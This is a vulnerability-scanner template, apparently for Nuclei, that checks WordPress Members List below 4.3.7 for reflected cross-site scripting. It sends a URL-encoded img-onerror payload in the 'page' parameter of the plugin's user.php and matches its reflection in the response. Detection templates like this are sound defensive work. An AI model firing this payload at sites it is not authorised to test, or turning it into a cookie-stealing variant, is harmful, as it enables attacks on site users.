id: members-list-xss

info:
  name: WordPress Members List <4.3.7 - Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: WordPress Members List 4.3.7 does not sanitize and escape some parameters in various pages before outputting them back, leading to reflected cross-site scripting vulnerabilities.
  reference:
    - https://wpscan.com/vulnerability/d13f26f0-5d91-49d7-b514-1577d4247648
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cwe-id: CWE-79,CWE-83
  metadata:
    max-request: 1
  tags: wp,wordpress,wp-plugin,xss,wpscan,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/members-list/admin/view/user.php?page=%22%3E%3Cimg%20src%20onerror=alert(document.domain)%20x'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><img src onerror=alert(document.domain) x'
          - "wrap tern-wrap"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100e1ff7473197e6768903e19b9bb0ebc0150fad33ebf7277801166c512e6ae0477022100d9d1b9edff6d42c6ea5c4ccaac48f5f91e6505524f40749a92b05c2af96a9458:922c64590222798bb761d5b6d8e72950